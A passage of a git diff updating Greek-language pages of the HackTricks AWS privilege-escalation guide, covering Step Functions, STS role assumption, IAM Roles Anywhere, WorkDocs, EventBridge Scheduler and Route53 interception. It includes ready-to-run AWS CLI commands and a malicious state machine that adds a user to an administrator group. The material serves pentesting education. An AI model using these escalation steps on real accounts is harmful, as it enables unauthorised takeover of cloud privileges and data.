bucket που ελέγχεται από τον επιτιθέμενο πρέπει να έχει δικαιώματα για να αποδεχτεί μια ενέργεια s3:PutObject από τον λογαριασμό του θύματος. + +**Πιθανός αντίκτυπος**: Μη εξουσιοδοτημένη εκτέλεση και τροποποίηση ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που ενδέχεται να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας. + +### `states:UpdateStateMachine` & (not always required) `iam:PassRole` + +Ένας επιτιθέμενος με την άδεια **`states:UpdateStateMachine`** θα μπορούσε να τροποποιήσει τον ορισμό ενός state machine, προσθέτοντας επιπλέον κρυφές καταστάσεις που θα μπορούσαν να καταλήξουν σε privilege escalation. Με αυτόν τον τρόπο, όταν ένας νόμιμος χρήστης ξεκινήσει μια εκτέλεση του state machine, αυτή η νέα κακόβουλη κρυφή κατάσταση θα εκτελεστεί και το privilege escalation θα είναι επιτυχές. + +Ανάλογα με το πόσο ευρύ είναι το IAM Role που σχετίζεται με το state machine, ο επιτιθέμενος θα αντιμετωπίσει δύο περιπτώσεις: + +1. **Permissive IAM Role**: Εάν το IAM Role που συνδέεται με το state machine είναι ήδη permissive (για παράδειγμα έχει συνημμένη την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`**), τότε η άδεια **`iam:PassRole`** δεν θα είναι απαραίτητη για privilege escalation, καθώς δεν θα χρειαστεί να ενημερωθεί επιπλέον το IAM Role — ο ορισμός του state machine είναι αρκετός. +2. **Not permissive IAM Role**: Σε αντίθεση με την προηγούμενη περίπτωση, εδώ ο επιτιθέμενος θα χρειαστεί επίσης την άδεια **`iam:PassRole`**, αφού θα είναι απαραίτητο να συσχετίσει ένα permissive IAM Role στο state machine επιπλέον της τροποποίησης του ορισμού του state machine. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +Τα παρακάτω παραδείγματα δείχνουν πώς να ενημερώσετε μια νόμιμη state machine που απλώς καλεί μια HelloWorld Lambda function, προκειμένου να προσθέσετε μια επιπλέον κατάσταση που προσθέτει τον χρήστη **`unprivilegedUser`** στην IAM Group **`administrator`**. Έτσι, όταν ένας νόμιμος χρήστης ξεκινήσει την εκτέλεση της ενημερωμένης state machine, αυτή η νέα κακόβουλη stealth κατάσταση θα εκτελεστεί και η privilege escalation θα είναι επιτυχής. + +> [!WARNING] +> Αν η state machine δεν έχει συνδεδεμένο permissive IAM Role, θα απαιτηθεί επίσης η άδεια **`iam:PassRole`** για να ενημερώσετε το IAM Role προκειμένου να συσχετίσετε έναν permissive IAM Role (για παράδειγμα έναν με την πολιτική **`arn:aws:iam::aws:policy/AdministratorAccess`** συνδεδεμένη). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **Εντολή** που εκτελέστηκε για **να ενημερώσει** **τη νόμιμη state machine**: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη εκτέλεση και χειραγώγηση των workflows και πρόσβαση σε ευαίσθητους πόρους, που ενδέχεται να οδηγήσει σε σημαντικές παραβιάσεις ασφάλειας. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index e9874ef7e..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Κάθε role δημιουργείται με ένα **role trust policy**· αυτή η πολιτική καθορίζει **who can assume the created role**. Εάν ένας role από τον **same account** δηλώνει ότι ένας account μπορεί να τον αναλάβει, τότε το account θα μπορεί να αποκτήσει πρόσβαση στον role (και ενδεχομένως να πραγματοποιήσει **privesc**). - -Για παράδειγμα, το παρακάτω role trust policy υποδεικνύει ότι ο οποιοσδήποτε μπορεί να τον αναλάβει, επομένως **any user will be able to privesc** στα permissions που είναι συνδεδεμένα με αυτόν τον role. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Μπορείτε να προσωποποιήσετε έναν ρόλο εκτελώντας: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Πιθανός Αντίκτυπος:** Privesc στον ρόλο. - -> [!CAUTION] -> Σημειώστε ότι σε αυτήν την περίπτωση η άδεια `sts:AssumeRole` πρέπει να **αναφέρεται στον ρόλο που θα καταχραστείτε** και όχι σε μια policy που ανήκει στον επιτιθέμενο.\ -> Με μία εξαίρεση, για να **αναλάβει κανείς ρόλο από διαφορετικό λογαριασμό** ο λογαριασμός του επιτιθέμενου **επίσης χρειάζεται** να έχει το **`sts:AssumeRole`** πάνω στον ρόλο. - - -### `sts:AssumeRoleWithSAML` - -Μια trust policy με αυτόν τον ρόλο δίνει τη δυνατότητα σε **χρήστες που αυθεντικοποιούνται μέσω SAML** να υποδυθούν τον ρόλο. - -Ένα παράδειγμα trust policy με αυτήν την άδεια είναι: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Για να δημιουργήσετε διαπιστευτήρια για να προσποιηθείτε τον ρόλο, γενικά μπορείτε να χρησιμοποιήσετε κάτι σαν: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Αλλά οι **πάροχοι** μπορεί να έχουν τα **δικά τους εργαλεία** για να το κάνουν πιο εύκολο, όπως [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Δυνητικός Αντίκτυπος:** Privesc στον ρόλο. - -### `sts:AssumeRoleWithWebIdentity` - -Αυτό το δικαίωμα επιτρέπει την απόκτηση ενός συνόλου προσωρινών διαπιστευτηρίων ασφαλείας για **χρήστες που έχουν πιστοποιηθεί σε κινητή εφαρμογή, εφαρμογή web, EKS...** με έναν πάροχο ταυτότητας web. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -Για παράδειγμα, αν ένας **EKS service account** πρέπει να μπορεί να **impersonate an IAM role**, θα έχει ένα token στο **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** και μπορεί να **assume the role and get credentials** κάνοντας κάτι σαν: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM RolesAnywhere επιτρέπει σε workloads εκτός AWS να αναλάβουν IAM roles χρησιμοποιώντας πιστοποιητικά X.509. Όταν όμως οι trust policies δεν ορίζονται σωστά, μπορούν να καταχραστούν για privilege escalation. - -Για να κατανοηθεί αυτή η επίθεση, είναι απαραίτητο να εξηγήσουμε τι είναι ένα trust anchor. Ένα trust anchor στο AWS IAM RolesAnywhere είναι η οντότητα ρίζα εμπιστοσύνης· περιέχει το δημόσιο πιστοποιητικό μιας Αρχής Πιστοποίησης (Certificate Authority, CA) που είναι καταχωρημένη στον λογαριασμό, ώστε το AWS να μπορεί να επαληθεύσει τα παρουσιαζόμενα πιστοποιητικά X.509. Με αυτόν τον τρόπο, αν το client certificate έχει εκδοθεί από αυτήν την CA και το trust anchor είναι ενεργό, το AWS το αναγνωρίζει ως έγκυρο. - -Επιπλέον, ένα profile είναι η διαμόρφωση που ορίζει ποια χαρακτηριστικά του πιστοποιητικού X.509 (όπως CN, OU ή SAN) θα μετατραπούν σε session tags, τα οποία στη συνέχεια θα συγκριθούν με τις συνθήκες της trust policy. - -Αυτή η policy δεν έχει περιορισμούς σχετικά με το ποιο trust anchor ή ποια attributes του πιστοποιητικού επιτρέπονται. Ως αποτέλεσμα, οποιοδήποτε πιστοποιητικό συνδεδεμένο με οποιοδήποτε trust anchor στον λογαριασμό μπορεί να χρησιμοποιηθεί για να αναλάβει αυτόν τον ρόλο. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Για privesc, το `aws_signing_helper` απαιτείται από https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Στη συνέχεια, χρησιμοποιώντας ένα έγκυρο πιστοποιητικό, ο attacker μπορεί να pivot σε higher privilege role -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -Το trust anchor επαληθεύει ότι το πιστοποιητικό `readonly.pem` του client προέρχεται από την εξουσιοδοτημένη CA του, και μέσα στο πιστοποιητικό `readonly.pem` βρίσκεται το δημόσιο κλειδί που χρησιμοποιεί το AWS για να επαληθεύσει ότι η υπογραφή έγινε με το αντίστοιχο ιδιωτικό κλειδί `readonly.key`. - -Το πιστοποιητικό παρέχει επίσης attributes (όπως CN ή OU) που το προφίλ `default` μετατρέπει σε tags, τα οποία η trust policy του role μπορεί να χρησιμοποιήσει για να αποφασίσει αν θα χορηγήσει πρόσβαση. Αν δεν υπάρχουν conditions στην trust policy, αυτά τα tags δεν έχουν χρήση και η πρόσβαση χορηγείται σε οποιονδήποτε έχει έγκυρο πιστοποιητικό. - -Για να είναι δυνατή αυτή η επίθεση, πρέπει να είναι ενεργά τόσο το trust anchor όσο και το προφίλ `default`. - -### Αναφορές - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..4acc6ab52 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,134 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Κάθε role δημιουργείται με μια **role trust policy**, αυτή η πολιτική υποδεικνύει **ποιος μπορεί να αναλάβει το δημιουργημένο role**. Αν ένα role από τον **ίδιο λογαριασμό** δηλώνει ότι ένας λογαριασμός μπορεί να το αναλάβει, σημαίνει ότι ο λογαριασμός θα μπορεί να έχει πρόσβαση στο role (και ενδεχομένως **privesc**). + +Για παράδειγμα, η παρακάτω role trust policy δείχνει ότι ο καθένας μπορεί να την αναλάβει, επομένως **οποιοσδήποτε χρήστης θα μπορεί να privesc** στα δικαιώματα που σχετίζονται με αυτό το role. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Μπορείτε να προσποιηθείτε έναν ρόλο εκτελώντας: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Πιθανός Αντίκτυπος:** Privesc στον ρόλο. + +> [!CAUTION] +> Σημειώστε ότι σε αυτή την περίπτωση η άδεια `sts:AssumeRole` πρέπει να αναφέρεται **στον ρόλο που πρόκειται να εκμεταλλευτείτε** και όχι σε μια πολιτική που ανήκει στον επιτιθέμενο.\ +> Με μία εξαίρεση, για να **υποδύεστε έναν ρόλο από διαφορετικό λογαριασμό** ο λογαριασμός του επιτιθέμενου **πρέπει επίσης** να έχει το **`sts:AssumeRole`** πάνω στον ρόλο. + + +### `sts:AssumeRoleWithSAML` + +Μια trust policy με αυτόν τον ρόλο δίνει **σε χρήστες που έχουν πιστοποιηθεί μέσω SAML τη δυνατότητα να υποδυθούν τον ρόλο.** + +Ένα παράδειγμα trust policy με αυτήν την άδεια είναι: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Για να δημιουργήσεις διαπιστευτήρια για να προσποιηθείς τον ρόλο, γενικά μπορείς να χρησιμοποιήσεις κάτι σαν: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Αλλά οι **πάροχοι** μπορεί να διαθέτουν τα **δικά τους εργαλεία** για να το κάνουν πιο εύκολο, όπως [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Πιθανός Αντίκτυπος:** Privesc στο role. + +### `sts:AssumeRoleWithWebIdentity` + +Αυτό το δικαίωμα επιτρέπει την απόκτηση ενός συνόλου προσωρινών διαπιστευτηρίων ασφαλείας για **χρήστες που έχουν ταυτοποιηθεί σε μια mobile εφαρμογή, εφαρμογή web, EKS...** μέσω ενός παρόχου web identity. [Μάθετε περισσότερα εδώ.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +Για παράδειγμα, αν ένας **EKS service account** πρέπει να μπορεί να **υποδυθεί ένα IAM role**, θα έχει ένα token στο **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** και μπορεί να **αναλάβει το role και να αποκτήσει διαπιστευτήρια** κάνοντας κάτι τέτοιο: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +Το AWS IAM RolesAnywhere επιτρέπει σε workloads εκτός AWS να αναλαμβάνουν IAM roles χρησιμοποιώντας X.509 πιστοποιητικά. Ωστόσο, όταν οι trust policies δεν είναι σωστά περιορισμένες, μπορούν να καταχρηστούν για privilege escalation. + +Για να κατανοηθεί αυτή η επίθεση, είναι απαραίτητο να εξηγήσουμε τι είναι ένα trust anchor. Ένα trust anchor στο AWS IAM RolesAnywhere είναι η οντότητα που αποτελεί τη ρίζα εμπιστοσύνης· περιέχει το δημόσιο πιστοποιητικό μιας Certificate Authority (CA) που έχει καταχωρηθεί στο account, ώστε το AWS να μπορεί να επαληθεύει τα παρουσιαζόμενα X.509 πιστοποιητικά. Έτσι, αν το client certificate έχει εκδοθεί από αυτή την CA και το trust anchor είναι ενεργό, το AWS το αναγνωρίζει ως έγκυρο. + +Επιπλέον, ένα profile είναι η ρύθμιση που καθορίζει ποιες ιδιότητες του X.509 πιστοποιητικού (όπως CN, OU ή SAN) θα μετατραπούν σε session tags, τα οποία στη συνέχεια θα συγκριθούν με τους όρους της trust policy. + +Αυτή η πολιτική στερείται περιορισμών σχετικά με το ποιο trust anchor ή ποιες ιδιότητες πιστοποιητικού επιτρέπονται. Ως αποτέλεσμα, οποιοδήποτε πιστοποιητικό συνδεδεμένο με οποιοδήποτε trust anchor στο account μπορεί να χρησιμοποιηθεί για να αναλάβει αυτό το role. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Για privesc, απαιτείται το `aws_signing_helper` από https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Στη συνέχεια, χρησιμοποιώντας ένα έγκυρο πιστοποιητικό, ο attacker μπορεί να pivot στο higher privilege role +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +Ο trust anchor επαληθεύει ότι το πιστοποιητικό `readonly.pem` του πελάτη προέρχεται από την εξουσιοδοτημένη CA, και μέσα σε αυτό το πιστοποιητικό `readonly.pem` βρίσκεται το δημόσιο κλειδί που χρησιμοποιεί η AWS για να επαληθεύσει ότι η υπογραφή έγινε με το αντίστοιχο ιδιωτικό κλειδί `readonly.key`. + +Το πιστοποιητικό παρέχει επίσης χαρακτηριστικά (όπως CN ή OU) που το προφίλ `default` μετατρέπει σε ετικέτες, τις οποίες η πολιτική εμπιστοσύνης του ρόλου μπορεί να χρησιμοποιήσει για να αποφασίσει αν θα εξουσιοδοτήσει την πρόσβαση. Εάν δεν υπάρχουν συνθήκες στην πολιτική εμπιστοσύνης, αυτές οι ετικέτες δεν έχουν χρήση και η πρόσβαση χορηγείται σε οποιονδήποτε με έγκυρο πιστοποιητικό. + +### Αναφορές + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index d0145838e..5931ae191 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,23 +1,23 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs -Για περισσότερες πληροφορίες σχετικά με το WorkDocs, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με το WorkDocs δείτε: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Δημιουργήστε έναν χρήστη μέσα στον Κατάλογο που υποδεικνύεται, στη συνέχεια θα έχετε πρόσβαση τόσο στο WorkDocs όσο και στο AD: +Δημιούργησε έναν χρήστη μέσα στον Directory που υποδεικνύεται, τότε θα έχεις πρόσβαση τόσο στο WorkDocs όσο και στο AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` Τα αρχεία μπορεί να περιέχουν ευαίσθητες πληροφορίες, διαβάστε τα: ```bash @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Αν δεν έχετε πρόσβαση για να διαβάσετε κάτι, μπορείτε απλά να το παραχωρήσετε. +Αν δεν έχετε πρόσβαση να διαβάσετε κάτι, μπορείτε απλά να την παραχωρήσετε ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Μπορείτε να κάνετε έναν χρήστη διαχειριστή ορίζοντάς τον στην ομάδα ZOCALO_ADMIN.\ -Για αυτό, ακολουθήστε τις οδηγίες από [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Μπορείτε να κάνετε έναν χρήστη admin ορίζοντάς τον στην ομάδα ZOCALO_ADMIN.\ +Για αυτό ακολουθήστε τις οδηγίες από [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Συνδεθείτε με αυτόν τον χρήστη στο workdoc και αποκτήστε πρόσβαση στον πίνακα διαχείρισης στο `/workdocs/index.html#/admin` +Συνδεθείτε με αυτόν τον χρήστη στο workdoc και μπείτε στο admin panel στο `/workdocs/index.html#/admin` Δεν βρήκα κανέναν τρόπο να το κάνω αυτό από το cli. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index 619bbbc96..9c17acff6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler Περισσότερες πληροφορίες για το EventBridge Scheduler στο: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Ένας επιτιθέμενος με αυτές τις άδειες θα είναι σε θέση να **`δημιουργήσει`|`ενημερώσει` ένα πρόγραμμα και να εκμεταλλευτεί τις άδειες του ρόλου προγραμματιστή** που είναι συνδεδεμένος σε αυτό για να εκτελέσει οποιαδήποτε ενέργεια +Ένας attacker με αυτά τα permissions θα μπορεί να **`create`|`update` έναν scheduler και να καταχραστεί τα permissions του scheduler role** που επισυνάπτεται σε αυτόν για να εκτελέσει οποιαδήποτε ενέργεια -Για παράδειγμα, θα μπορούσαν να ρυθμίσουν το πρόγραμμα να **καλέσει μια συνάρτηση Lambda** η οποία είναι μια προτυπωμένη ενέργεια: +Για παράδειγμα, θα μπορούσαν να ρυθμίσουν το schedule ώστε να **invoke a Lambda function** το οποίο είναι μια templated action: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Εκτός από τις ενέργειες υπηρεσιών με πρότυπα, μπορείτε να χρησιμοποιήσετε **universal targets** στο EventBridge Scheduler για να καλέσετε μια ευρεία γκάμα API λειτουργιών για πολλές υπηρεσίες AWS. Οι universal targets προσφέρουν ευελιξία για να καλέσετε σχεδόν οποιοδήποτε API. Ένα παράδειγμα μπορεί να είναι η χρήση universal targets προσθέτοντας "**AdminAccessPolicy**", χρησιμοποιώντας έναν ρόλο που έχει πολιτική "**putRolePolicy**": +Εκτός από τις προτυποποιημένες ενέργειες υπηρεσίας, μπορείτε να χρησιμοποιήσετε τα **universal targets** στο EventBridge Scheduler για να καλέσετε ένα ευρύ φάσμα λειτουργιών API για πολλές υπηρεσίες AWS. Τα universal targets προσφέρουν ευελιξία για να καλείτε σχεδόν οποιοδήποτε API. Ένα παράδειγμα είναι η χρήση universal targets για την προσθήκη της πολιτικής **AdminAccessPolicy**, χρησιμοποιώντας έναν ρόλο που έχει την πολιτική **putRolePolicy**: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -42,4 +42,4 @@ aws scheduler create-schedule \ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index d5eda4e13..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Για περισσότερες πληροφορίες σχετικά με το Route53, ελέγξτε: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Για να εκτελέσετε αυτήν την επίθεση, ο στόχος λογαριασμός πρέπει ήδη να έχει ρυθμιστεί μια [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** στον λογαριασμό, και οι EC2 instances στο VPC(s) πρέπει να έχουν ήδη εισάγει τα πιστοποιητικά για να το εμπιστεύονται. Με αυτήν την υποδομή στη θέση της, μπορεί να εκτελεστεί η παρακάτω επίθεση για να παρεμποδιστεί η κυκλοφορία AWS API. - -Άλλες άδειες **συνιστώνται αλλά δεν απαιτούνται για το μέρος της αναγνώρισης**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -Υποθέτοντας ότι υπάρχει ένα AWS VPC με πολλές cloud-native εφαρμογές που επικοινωνούν μεταξύ τους και με το AWS API. Δεδομένου ότι η επικοινωνία μεταξύ των μικροϋπηρεσιών είναι συχνά κρυπτογραφημένη με TLS, πρέπει να υπάρχει μια ιδιωτική CA για να εκδώσει τα έγκυρα πιστοποιητικά για αυτές τις υπηρεσίες. **Εάν χρησιμοποιείται το ACM-PCA** για αυτό και ο αντίπαλος καταφέρει να αποκτήσει **πρόσβαση για να ελέγξει τόσο το route53 όσο και το acm-pca private CA** με το ελάχιστο σύνολο αδειών που περιγράφονται παραπάνω, μπορεί να **παρακάμψει τις κλήσεις εφαρμογής στο AWS API** αναλαμβάνοντας τις IAM άδειές τους. - -Αυτό είναι δυνατό επειδή: - -- Οι AWS SDKs δεν έχουν [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Το Route53 επιτρέπει τη δημιουργία Ιδιωτικής Ζώνης Φιλοξενίας και DNS records για τα ονόματα τομέα των AWS APIs -- Η Ιδιωτική CA στο ACM-PCA δεν μπορεί να περιοριστεί στην υπογραφή μόνο πιστοποιητικών για συγκεκριμένα Κοινά Ονόματα - -**Πιθανές Επιπτώσεις:** Έμμεσο privesc μέσω της παρεμπόδισης ευαίσθητων πληροφοριών στην κυκλοφορία. - -#### Εκμετάλλευση - -Βρείτε τα βήματα εκμετάλλευσης στην αρχική έρευνα: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git 